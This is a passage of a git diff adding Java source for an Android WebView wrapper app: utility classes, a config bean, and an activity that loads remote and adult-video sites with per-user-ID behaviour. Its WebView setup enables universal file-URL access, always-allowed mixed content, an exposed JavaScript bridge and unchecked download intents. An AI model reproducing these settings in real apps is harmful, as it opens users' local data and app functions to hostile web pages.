+ public int noticeApplyMode = 1;
+ public String fbUrl;
+ public String tgUrl;
+ public String wsUrl;
+ public String linkConfig;
+ public String backupDomains;
+
+ public String getBackupDomains() {
+ return backupDomains;
+ }
+
+ public void setBackupDomains(String backupDomains) {
+ this.backupDomains = backupDomains;
+ }
+
+ public String getLinkConfig() {
+ return linkConfig;
+ }
+
+ public void setLinkConfig(String linkConfig) {
+ this.linkConfig = linkConfig;
+ }
+
+ public int getIsUse() {
+ return isUse;
+ }
+
+ public void setIsUse(int isUse) {
+ this.isUse = isUse;
+ }
+
+ public int getNoticeApplyMode() {
+ return noticeApplyMode;
+ }
+
+ public void setNoticeApplyMode(int noticeApplyMode) {
+ this.noticeApplyMode = noticeApplyMode;
+ }
+
+ public String getFbUrl() {
+ return fbUrl;
+ }
+
+ public void setFbUrl(String fbUrl) {
+ this.fbUrl = fbUrl;
+ }
+
+ public String getTgUrl() {
+ return tgUrl;
+ }
+
+ public void setTgUrl(String tgUrl) {
+ this.tgUrl = tgUrl;
+ }
+
+ public String getWsUrl() {
+ return wsUrl;
+ }
+
+ public void setWsUrl(String wsUrl) {
+ this.wsUrl = wsUrl;
+ }
+
+ public String getUrl() {
+ return url;
+ }
+
+ public void setUrl(String url) {
+ this.url = url;
+ }
+
+
+}
diff --git a/market/src/main/java/com/web/market/GsonUtils.java b/market/src/main/java/com/web/market/GsonUtils.java
new file mode 100644
index 0000000..8a985d4
--- /dev/null
+++ b/market/src/main/java/com/web/market/GsonUtils.java
@@ -0,0 +1,91 @@
+package com.web.market;
+
+import android.text.TextUtils;
+
+import com.google.gson.Gson;
+import com.google.gson.JsonObject;
+import com.google.gson.reflect.TypeToken;
+
+import java.lang.reflect.Type;
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * json解析工具类 其实对于数组解析有一些问题
+ * @author
+ */
+public class GsonUtils {
+
+ public static Gson gson = new Gson();
+
+ /**
+ * 返回List对象
+ * @param str
+ * @param type new TypeToken>(){}.getType()
+ * @param
+ * @return
+ */
+ public static T getListFromJSON(String str, Type type) {
+ if (!TextUtils.isEmpty(str)) {
+ return gson.fromJson(str, type);
+ }
+ return null;
+ }
+
+ /**
+ * 返回List对象
+ * @param str
+ * @param cls
+ * @param
+ * @return
+ */
+ public static List getListFromJSON(String str, Class cls)
+ {
+ Type type = new TypeToken>()
+ {}.getType();
+ ArrayList jsonObjects = gson.fromJson(str, type);
+ ArrayList arrayList = new ArrayList<>();
+ for (JsonObject jsonObject : jsonObjects)
+ {
+ arrayList.add(gson.fromJson(jsonObject, cls));
+ }
+ return arrayList;
+ }
+
+ /**
+ * 返回对象
+ * @param str
+ * @param cls
+ * @param
+ * @return
+ */
+ public static T getObjFromJSON(String str, Class cls) {
+ try {
+ if (!TextUtils.isEmpty(str)) {
+// LogUtils.i("参数:"+str);
+ return gson.fromJson(str, cls);
+ }
+ return null;
+ }catch (Exception e) {
+ return null;
+ }
+ }
+
+ /**
+ * 返回JsonString
+ * @return
+ */
+ public static String beanToJSONString(Object bean) {
+ return new Gson().toJson(bean);
+ }
+
+
+ public static String JSONTokener(String in) {
+ // consume an optional byte order mark (BOM) if it exists
+ if (in != null && in.startsWith("\ufeff")) {
+ in = in.substring(1);
+ }
+ return in;
+ }
+
+}
diff --git a/market/src/main/java/com/web/market/HomeActivity.java b/market/src/main/java/com/web/market/HomeActivity.java
new file mode 100644
index 0000000..bc6378b
--- /dev/null
+++ b/market/src/main/java/com/web/market/HomeActivity.java
@@ -0,0 +1,30 @@
+package com.web.market;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.view.View;
+import android.webkit.WebChromeClient;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+
+import androidx.annotation.Nullable;
+import androidx.appcompat.app.AppCompatActivity;
+
+public class HomeActivity extends AppCompatActivity {
+ WebView webView;
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ View decor = getWindow().getDecorView();
+ decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_home);
+ webView = findViewById(R.id.webview);
+ webView.setWebViewClient(new WebViewClient());
+ webView.setWebChromeClient(new WebChromeClient());
+ webView.loadUrl(getString(R.string.home_url));
+
+ findViewById(R.id.setting_iv).setOnClickListener(v -> startActivity(new Intent(HomeActivity.this,SettingActivity.class)));
+
+ }
+
+}
diff --git a/market/src/main/java/com/web/market/IndexActivity.java b/market/src/main/java/com/web/market/IndexActivity.java
new file mode 100644
index 0000000..20a9a02
--- /dev/null
+++ b/market/src/main/java/com/web/market/IndexActivity.java
@@ -0,0 +1,78 @@
+package com.web.market;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+
+import com.google.firebase.messaging.FirebaseMessaging;
+
+public class IndexActivity extends MainActivity2 {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ initConfig();
+ super.onCreate(savedInstanceState);
+ initWinwdowLogoConfig();
+ registerFCM();
+ }
+
+ /**
+ * 注册FCM
+ */
+ private void registerFCM() {
+ //订阅主题
+ try {
+ FirebaseMessaging.getInstance().subscribeToTopic("demo"+userId)
+ .addOnCompleteListener(task -> {
+ String msg = "Subscribed";
+ if (!task.isSuccessful()) {
+ msg = "Subscribe failed";
+ }
+ LogUtils.i("结果:"+msg);
+ });
+ }catch (Exception e){
+ e.printStackTrace();
+ }
+ }
+
+ /**
+ * 用于修改大背景渐变色 不设置
+ * 大背景就是 windows_color 的颜色
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initWinwdowLogoConfig() {
+// setBackDrawables(R.drawable.big_bg);
+ setImageView(getString(R.string.is_round).equals("1"));
+ }
+
+ /**
+ * 基础配置都在这里
+ * 不要动 都在 app_config.xml中修改
+ */
+ private void initConfig() {
+ userId = getInt(IndexActivity.this,"user_code",0);
+ //===========================以下是APP的配置信息 都写在 app_config.xml中==================================
+ saveInt(IndexActivity.this,"version_code",getVersion());
+ //网页的底部NavigationBar颜色
+ saveInt(this, "style_color_int", getColor(R.color.style_color));
+ //页面的大背景颜色
+ saveInt(this, "windows_color_int", getColor(R.color.windows_color));
+ //任务栏的文字颜色 0 黑 1白 默认黑
+ saveInt(IndexActivity.this,"is_white",Integer.parseInt(getString(R.string.is_white)));
+// saveInt(IndexActivity.this,"hasContact",Integer.parseInt(getString(R.string.has_contact)));
+
+ //===========================以上是APP的配置信息 都写在 app_config.xml中==================================
+ }
+
+
+ public int getVersion(){
+ try {
+ PackageManager packageManager = getPackageManager();
+ PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0);
+ int versionCode = packageInfo.versionCode; // 版本码
+ return versionCode;
+ } catch (PackageManager.NameNotFoundException e) {
+ return 0;
+ }
+ }
+}
diff --git a/market/src/main/java/com/web/market/LinkConfigInfo.java b/market/src/main/java/com/web/market/LinkConfigInfo.java
new file mode 100644
index 0000000..e529cac
--- /dev/null
+++ b/market/src/main/java/com/web/market/LinkConfigInfo.java
@@ -0,0 +1,34 @@
+package com.web.market;
+
+import java.io.Serializable;
+
+public class LinkConfigInfo implements Serializable {
+
+ public String name;
+ public String icon;
+ public String linkUrl;
+
+ public String getName() {
+ return name;
+ }
+
+ public void setName(String name) {
+ this.name = name;
+ }
+
+ public String getIcon() {
+ return icon;
+ }
+
+ public void setIcon(String icon) {
+ this.icon = icon;
+ }
+
+ public String getLinkUrl() {
+ return linkUrl;
+ }
+
+ public void setLinkUrl(String linkUrl) {
+ this.linkUrl = linkUrl;
+ }
+}
diff --git a/market/src/main/java/com/web/market/LogUtils.java b/market/src/main/java/com/web/market/LogUtils.java
new file mode 100644
index 0000000..8b0222b
--- /dev/null
+++ b/market/src/main/java/com/web/market/LogUtils.java
@@ -0,0 +1,146 @@
+package com.web.market;
+
+import android.util.Log;
+
+
+/**
+ * Log统一管理类
+ * Created by on 2015/10/19 0019.
+ */
+public class LogUtils {
+
+ private LogUtils() {
+ throw new UnsupportedOperationException("cannot be instantiated");
+ }
+
+// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化
+ public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化
+// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化
+
+ private static final String TAG = "BIKAOVIDEO";
+
+ /**
+ * 默认tag的函数
+ *
+ * @param msg 打印信息
+ */
+ public static void v(String msg) {
+ if (isDebug) Log.v(TAG, msg);
+ }
+
+ public static void d(String msg) {
+ if (isDebug) Log.d(TAG, msg);
+ }
+
+ public static void i(String msg) {
+ if (isDebug) {
+ if (msg.length() > 4000) {
+ Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length());
+ int chunkCount = msg.length() / 4000; // integer division
+ for (int i = 0; i <= chunkCount; i++) {
+ int max = 4000 * (i + 1);
+ if (max >= msg.length()) {
+ Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i));
+ } else {
+ Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max));
+ }
+ }
+ } else {
+ Log.i( TAG,"BIKAOVIDEO" + msg.toString());
+ }
+ }
+ }
+
+ public static void w(String msg) {
+ if (isDebug) Log.w(TAG, msg);
+ }
+
+ public static void e(String msg) {
+ if (isDebug) {
+ if (msg.length() > 4000) {
+ Log.e(TAG, "sb.length = " + msg.length());
+ int chunkCount = msg.length() / 4000; // integer division
+ for (int i = 0; i <= chunkCount; i++) {
+ int max = 4000 * (i + 1);
+ if (max >= msg.length()) {
+ Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i));
+ } else {
+ Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max));
+ }
+ }
+ } else {
+ Log.e(TAG, "XHX" + msg.toString());
+ }
+
+ }
+
+ }
+
+ /**
+ * 自定义lag的函数
+ *
+ * @param tag tag
+ * @param msg 打印信息
+ */
+ public static void v(String tag, String msg) {
+ if (isDebug) Log.v(tag, msg);
+ }
+
+ public static void d(String tag, String msg) {
+ if (isDebug) Log.d(tag, msg);
+ }
+
+ public static void i(String tag, String msg) {
+ if (isDebug) {
+ if (msg.length() > 4000) {
+ Log.i( TAG,"sb.length = " + msg.length());
+ int chunkCount = msg.length() / 4000; // integer division
+ for (int i = 0; i <= chunkCount; i++) {
+ int max = 4000 * (i + 1);
+ if (max >= msg.length()) {
+ Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i));
+ } else {
+ Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max));
+ }
+ }
+ } else {
+ Log.i( TAG,"XHX" + msg.toString());
+ }
+ }
+ }
+
+ public static void w(String tag, String msg) {
+ if (isDebug) Log.w(tag, msg);
+ }
+
+ public static void e(String tag, String msg) {
+ if (isDebug) Log.e(tag, msg);
+ }
+
+ /**
+ * 自定义lag的函数
+ *
+ * @param clazz 类
+ * @param msg 打印信息
+ */
+ public static void v(Class> clazz, String msg) {
+ if (isDebug) Log.v(clazz.getSimpleName(), msg);
+ }
+
+ public static void d(Class> clazz, String msg) {
+ if (isDebug) Log.d(clazz.getSimpleName(), msg);
+ }
+
+ public static void i(Class> clazz, String msg) {
+ if (isDebug) Log.i(clazz.getSimpleName(), msg);
+ }
+
+ public static void w(Class> clazz, String msg) {
+ if (isDebug) Log.w(clazz.getSimpleName(), msg);
+ }
+
+ public static void e(Class> clazz, String msg) {
+ if (isDebug) Log.e(clazz.getSimpleName(), msg);
+ }
+
+}
\ No newline at end of file
diff --git a/market/src/main/java/com/web/market/MainActivity2.java b/market/src/main/java/com/web/market/MainActivity2.java
new file mode 100644
index 0000000..df1c98f
--- /dev/null
+++ b/market/src/main/java/com/web/market/MainActivity2.java
@@ -0,0 +1,1440 @@
+package com.web.market;
+
+import android.Manifest;
+import android.annotation.SuppressLint;
+import android.app.Activity;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.SharedPreferences;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Color;
+import android.graphics.drawable.Drawable;
+import android.net.Uri;
+import android.net.http.SslError;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Message;
+import android.text.Html;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.MotionEvent;
+import android.view.View;
+import android.view.WindowManager;
+import android.webkit.ConsoleMessage;
+import android.webkit.DownloadListener;
+import android.webkit.JavascriptInterface;
+import android.webkit.PermissionRequest;
+import android.webkit.SslErrorHandler;
+import android.webkit.ValueCallback;
+import android.webkit.WebChromeClient;
+import android.webkit.WebResourceError;
+import android.webkit.WebResourceRequest;
+import android.webkit.WebResourceResponse;
+import android.webkit.WebSettings;
+import android.webkit.WebView;
+import android.webkit.WebViewClient;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+import android.widget.ProgressBar;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import androidx.annotation.Nullable;
+import androidx.annotation.RequiresApi;
+import androidx.appcompat.app.ActionBar;
+import androidx.appcompat.app.AppCompatActivity;
+import androidx.cardview.widget.CardView;
+import androidx.core.app.ActivityCompat;
+
+import com.bumptech.glide.Glide;
+
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.schedulers.Schedulers;
+
+public class MainActivity2 extends AppCompatActivity {
+ public WebView webView;
+ TextView tvErrorMsg;
+ LinearLayout layoutError;
+ ImageView show_top_v;
+ public ImageView showTopV1;
+ private LinearLayout showTopLy;
+ CardView otherApp;
+ CardView notifyCardView;
+ CardView ivNotify;
+ ImageView ivotherApp;
+ LinearLayout layoutOtherApp;
+ CardView ivFaceBook;
+ CardView ivTelG;
+ CardView ivWhatsApp;
+ CardView ivLink;
+ TextView tvLink;
+ ImageView ivLinkBg;
+ CardView ivHome;
+ private View topVvvv;
+ private ProgressBar progressBar;
+ public static String url = "https://www.baidu.com";
+ public static int userId = 0;
+ private int notifyApply = 2;
+ private String facebookUrl = "";
+ private String whatsappUrl = "";
+ private String telegramUrl = "";
+ private List linkconfiglist;
+ private CardView cvShare;
+ float lastX, lastY;
+ float initX, initY;
+
+ @Override
+ protected void onNewIntent(Intent intent) {
+ super.onNewIntent(intent);
+ setIntent(intent);
+ Bundle bundle = intent.getExtras();
+ if (bundle != null) {
+ MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message");
+ if (messageInfo != null) {
+ startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo));
+ recordNotify(messageInfo.getPushId());
+ }
+ }
+ }
+
+ @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+ super.onCreate(savedInstanceState);
+ View decor = getWindow().getDecorView();
+ getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
+// if (getInt(MainActivity2.this, "is_white", 0) == 1) {
+ decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+// } else {
+// decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR);
+// }
+ ActionBar actionBar = getSupportActionBar();
+ if (actionBar != null) {
+ actionBar.hide();
+ }
+ setContentView(R.layout.activity_main2);
+ String body = getIntent().getStringExtra("message");
+ if (!TextUtils.isEmpty(body)) {
+ MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class);
+ if (messageInfo != null) {
+ startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo));
+ recordNotify(messageInfo.getPushId());
+ }
+ }
+
+ boolean isDownload = getBoolean(MainActivity2.this, "download", false);
+ if (!isDownload) {
+ setDownloadNumbers();
+ }
+ initView();
+
+ findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed());
+ otherApp = findViewById(R.id.bt_otherapp);
+ ivotherApp = findViewById(R.id.iv_otherApp);
+ notifyCardView = findViewById(R.id.bt_notify);
+ ivNotify = findViewById(R.id.bt_notifyitem);
+ layoutOtherApp = findViewById(R.id.layout_otherapp);
+ ivFaceBook = findViewById(R.id.iv_facebook);
+ ivTelG = findViewById(R.id.iv_tel);
+ ivWhatsApp = findViewById(R.id.iv_whatsapp);
+ ivLink = findViewById(R.id.iv_link);
+ tvLink = findViewById(R.id.tv_link);
+ ivLinkBg = findViewById(R.id.iv_linkbg);
+ ivHome = findViewById(R.id.iv_home);
+
+ cvShare = (CardView) findViewById(R.id.cv_share);
+
+ tvLink.setText(Html.fromHtml("MISSAV"));
+ ivFaceBook.setOnClickListener(view -> {
+ toOtherApp(facebookUrl, "com.facebook.katana", 1);
+ });
+ ivTelG.setOnClickListener(view -> {
+ toOtherApp(telegramUrl, "org.telegram.messenger", 2);
+ });
+ ivWhatsApp.setOnClickListener(view -> {
+ toOtherApp(whatsappUrl, "com.whatsapp", 3);
+ });
+
+ ivHome.setOnClickListener(view -> {
+ webView.loadUrl(url);
+ });
+
+ otherApp.setOnClickListener(view -> {
+ layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE);
+ int visi = layoutOtherApp.getVisibility();
+ if (visi == 0) {
+ ivotherApp.setImageResource(R.mipmap.ic_shousuo);
+ } else {
+ ivotherApp.setImageResource(R.mipmap.ic_zhangkai);
+ }
+ });
+
+
+ if (userId == 157 || userId == 158) {
+ ivLink.setVisibility(View.VISIBLE);
+ }
+
+ if(userId == 217||userId == 211){
+ otherApp.setVisibility(View.VISIBLE);
+ layoutOtherApp.setVisibility(View.GONE);
+ ivotherApp.setImageResource(R.mipmap.ic_zhangkai);
+
+ }else{
+ otherApp.setVisibility(View.INVISIBLE);
+ layoutOtherApp.setVisibility(View.VISIBLE);
+ ivotherApp.setImageResource(R.mipmap.ic_shousuo);
+
+ }
+
+ if (userId == 157) {
+ cvShare.setVisibility(View.VISIBLE);
+ }
+ cvShare.setOnTouchListener((v, event) -> {
+
+ switch (event.getAction()) {
+ case MotionEvent.ACTION_DOWN:
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ initX = event.getRawX();
+ initY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_MOVE:
+ float dx = event.getRawX() - lastX;
+ float dy = event.getRawY() - lastY;
+ int left = layoutOtherApp.getLeft() + (int) dx;
+ int top = layoutOtherApp.getTop() + (int) dy;
+ int right = layoutOtherApp.getRight() + (int) dx;
+ int bottom = layoutOtherApp.getBottom() + (int) dy;
+ layoutOtherApp.layout(left, top, right, bottom);
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_UP:
+ float upx = event.getRawX();
+ float upy = event.getRawY();
+ if (upx == initX && upy == initY) {
+ if (userId == 157) {
+ Intent textIntent = new Intent(Intent.ACTION_SEND);
+ textIntent.setType("text/plain");
+ textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top");
+ startActivity(Intent.createChooser(textIntent, "分享"));
+ }
+ }
+
+ break;
+ }
+ return true;
+ });
+ ivLink.setOnTouchListener((v, event) -> {
+
+ switch (event.getAction()) {
+ case MotionEvent.ACTION_DOWN:
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ initX = event.getRawX();
+ initY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_MOVE:
+ float dx = event.getRawX() - lastX;
+ float dy = event.getRawY() - lastY;
+ int left = layoutOtherApp.getLeft() + (int) dx;
+ int top = layoutOtherApp.getTop() + (int) dy;
+ int right = layoutOtherApp.getRight() + (int) dx;
+ int bottom = layoutOtherApp.getBottom() + (int) dy;
+ layoutOtherApp.layout(left, top, right, bottom);
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_UP:
+ float upx = event.getRawX();
+ float upy = event.getRawY();
+ if (upx == initX && upy == initY) {
+ toLink();
+ }
+
+ break;
+ }
+ return true;
+ });
+
+ ivNotify.setOnTouchListener((v, event) -> {
+
+ switch (event.getAction()) {
+ case MotionEvent.ACTION_DOWN:
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ initX = event.getRawX();
+ initY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_MOVE:
+ float dx = event.getRawX() - lastX;
+ float dy = event.getRawY() - lastY;
+ int left = layoutOtherApp.getLeft() + (int) dx;
+ int top = layoutOtherApp.getTop() + (int) dy;
+ int right = layoutOtherApp.getRight() + (int) dx;
+ int bottom = layoutOtherApp.getBottom() + (int) dy;
+ layoutOtherApp.layout(left, top, right, bottom);
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_UP:
+ float upx = event.getRawX();
+ float upy = event.getRawY();
+ if (upx == initX && upy == initY) {
+ notifyclick();
+ }
+
+ break;
+ }
+ return true;
+ });
+ layoutOtherApp.setOnTouchListener((v, event) -> {
+
+ switch (event.getAction()) {
+ case MotionEvent.ACTION_DOWN:
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ initX = event.getRawX();
+ initY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_MOVE:
+ float dx = event.getRawX() - lastX;
+ float dy = event.getRawY() - lastY;
+ int left = v.getLeft() + (int) dx;
+ int top = v.getTop() + (int) dy;
+ int right = v.getRight() + (int) dx;
+ int bottom = v.getBottom() + (int) dy;
+ v.layout(left, top, right, bottom);
+ lastX = event.getRawX();
+ lastY = event.getRawY();
+ break;
+ case MotionEvent.ACTION_UP:
+ float upx = event.getRawX();
+ float upy = event.getRawY();
+ if (upx == initX && upy == initY) {
+ notifyclick();
+ }
+
+ break;
+ }
+ return true;
+ });
+
+ setTotalTongJi(); //每日活跃统计
+ }
+
+ private void toLink() {
+ if (userId == 157 || userId == 158) {
+ webView.loadUrl("https://missav.live/dm19/ms");
+
+ } else {
+ webView.loadUrl(linkconfiglist.get(0).getLinkUrl());
+ }
+ }
+
+ /**
+ * 显示圆角还是 原样显示
+ *
+ * @param isRound
+ */
+ public void setImageView(boolean isRound) {
+ String logoString = getString(this,"config_appLogo","");
+ if (isRound) {
+ show_top_v.setVisibility(View.VISIBLE);
+ showTopV1.setVisibility(View.GONE);
+ if(!TextUtils.isEmpty(logoString)){
+ Glide.with(MainActivity2.this).load(logoString).error(R.mipmap.ic_launcher_round).into(show_top_v);
+ }
+ } else {
+ show_top_v.setVisibility(View.GONE);
+ showTopV1.setVisibility(View.VISIBLE);
+ if(!TextUtils.isEmpty(logoString)){
+ Glide.with(MainActivity2.this).load(logoString).error(R.mipmap.ic_launcher).into(showTopV1);
+ }
+ }
+ }
+
+ //跳转通知列表
+ private void notifyclick() {
+ startActivity(new Intent(this, NotifyListActivity.class));
+ }
+
+ private void toOtherApp(String uri, String packagenames, int type) {
+ try {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(uri));
+ intent.setPackage(packagenames);
+ startActivity(intent);
+ } catch (Exception e) {
+ Intent intent = new Intent(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(uri));
+ startActivity(intent);
+ }
+
+ }
+
+
+ ActionConfirmDialog actionDialog;
+
+ private void checkNotify() {
+ NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+ if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
+ if (!notificationManager.areNotificationsEnabled()) {
+ if (actionDialog == null) {
+ actionDialog = new ActionConfirmDialog(MainActivity2.this,
+ getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt),
+ getString(R.string.notification_setting_txt));
+ }
+ actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() {
+ @Override
+ public void toSumbit() {
+ jumpNotificationSetting();
+ }
+
+ @Override
+ public void toCancel() {
+ if (notifyApply == 1) {
+ MainActivity2.this.finish();
+ }
+
+
+ }
+ });
+ actionDialog.setCanceledOnTouchOutside(false);
+ actionDialog.setCancelable(false);
+ actionDialog.show();
+
+
+ }
+ }
+ }
+
+ private void jumpNotificationSetting() {
+ final ApplicationInfo applicationInfo = getApplicationInfo();
+ try {
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setAction("android.settings.APP_NOTIFICATION_SETTINGS");
+ intent.putExtra("app_package", applicationInfo.packageName);
+ intent.putExtra("android.provider.extra.APP_PACKAGE", applicationInfo.packageName);
+ intent.putExtra("app_uid", applicationInfo.uid);
+ startActivity(intent);
+ } catch (Throwable t) {
+ t.printStackTrace();
+ Intent intent = new Intent();
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.setAction("android.settings.APPLICATION_DETAILS_SETTINGS");
+ intent.setData(Uri.fromParts("package", applicationInfo.packageName, null));
+ startActivity(intent);
+ }
+ }
+
+ @Override
+ public void onBackPressed() {
+
+ if (webView.canGoBack()) {//当webview有多级能返回的时候
+ String url = webView.getUrl();
+ // 在首页 就退出这个页面
+ if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) {
+ super.onBackPressed();
+ } else { //不在首页 回到首页
+ if (webView.getUrl().equals(url + "index") || webView.getUrl().equals(url + "/index")) {
+ isAtGame = false;
+ }
+ topVvvv.setVisibility(View.GONE);
+ progressBar.setVisibility(View.GONE);
+ //当有条过登录页面 只能重载 不然逻辑会异常
+ if (hasSignIn) {
+ onShowNetView();
+ webView.loadUrl(url);
+ } else {
+ while (webView.canGoBack()) {
+ webView.goBack();
+ }
+
+ }
+ }
+
+ } else {//不能返回了 关闭进程 退出程序
+ Intent homeIntent = new Intent(Intent.ACTION_MAIN);
+ homeIntent.addCategory(Intent.CATEGORY_HOME);
+ homeIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ startActivity(homeIntent);
+ android.os.Process.killProcess(android.os.Process.myPid());
+ System.exit(1);
+
+ }
+ }
+ @SuppressLint({"NewApi", "WrongConstant"})
+ protected void initView() {
+ topVvvv = (View) findViewById(R.id.top_vvvv);
+ webView = findViewById(R.id.webview);
+ show_top_v = findViewById(R.id.show_top_v);
+
+ showTopV1 = (ImageView) findViewById(R.id.show_top_v1);
+ showTopLy = findViewById(R.id.show_top_ly);
+ progressBar = (ProgressBar) findViewById(R.id.progressbar);
+ tvErrorMsg = findViewById(R.id.errormsg);
+ layoutError = findViewById(R.id.layoutError);
+ WebSettings settings = webView.getSettings();
+ settings.setDomStorageEnabled(true);
+ settings.setAppCacheEnabled(true);
+ settings.setCacheMode(WebSettings.LOAD_DEFAULT);
+ settings.setJavaScriptEnabled(true);
+ settings.setLoadWithOverviewMode(true);
+ // 设置允许访问文件数据
+ settings.setAllowFileAccess(true);
+ settings.setAllowContentAccess(true);
+ settings.setDatabaseEnabled(true);
+ settings.setSavePassword(false);
+ settings.setSaveFormData(false);
+ settings.setUseWideViewPort(true);
+ settings.setBuiltInZoomControls(true);
+ settings.setPluginState(WebSettings.PluginState.ON);
+ settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS);
+ webView.setFocusable(true);
+ webView.setFocusableInTouchMode(true);
+ webView.getSettings().setSupportMultipleWindows(true);
+ if(Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) {
+ webView.getSettings().setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW);
+ }
+ settings.setSupportZoom(false);
+ webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY);
+// webView.setHorizontalScrollbarOverlay(true);
+ webView.setHorizontalScrollBarEnabled(true);
+ webView.requestFocus();
+// webView.setBackgroundColor(getColor(R.color.black));
+ settings.setJavaScriptCanOpenWindowsAutomatically(true);
+ settings.setMediaPlaybackRequiresUserGesture(false);
+ // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件
+ // Android 4.1前默认允许,4.1后默认禁止
+ settings.setAllowFileAccessFromFileURLs(true);
+ // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源)
+ // Android 4.1前默认允许,4.1后默认禁止
+ settings.setAllowUniversalAccessFromFileURLs(true);
+
+ webView.setWebChromeClient(webChromeClient);
+ webView.setWebViewClient(webViewClient);
+ Log.i("XHXDEBUG", "XHXDEBUGURL:::" + url);
+ webView.addJavascriptInterface(new JsInterface(), "WebViewHook");
+
+// showTopLy.setBackgroundColor(Color.parseColor(getString(MainActivity2.this, "windows_color", "#FFFFFF")));
+ webView.setDownloadListener(new DownloadListener() {
+ @Override
+ public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) {
+ LogUtils.i("URL是啥onDownloadStart:" + url);
+
+ try {
+ Intent intent = new Intent();
+ intent.setAction(Intent.ACTION_VIEW);
+ intent.setData(Uri.parse(url));
+ startActivity(intent);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+
+ }
+ });
+ getNetUrl();
+ getNotifyList();
+ LogUtils.i("userAgent:" + webView.getSettings().getUserAgentString());
+
+
+ }
+
+ public void getNotifyList() {
+
+ Api.getInstance().getNotifyList(userId, 1, 1)
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver>>() {
+ @Override
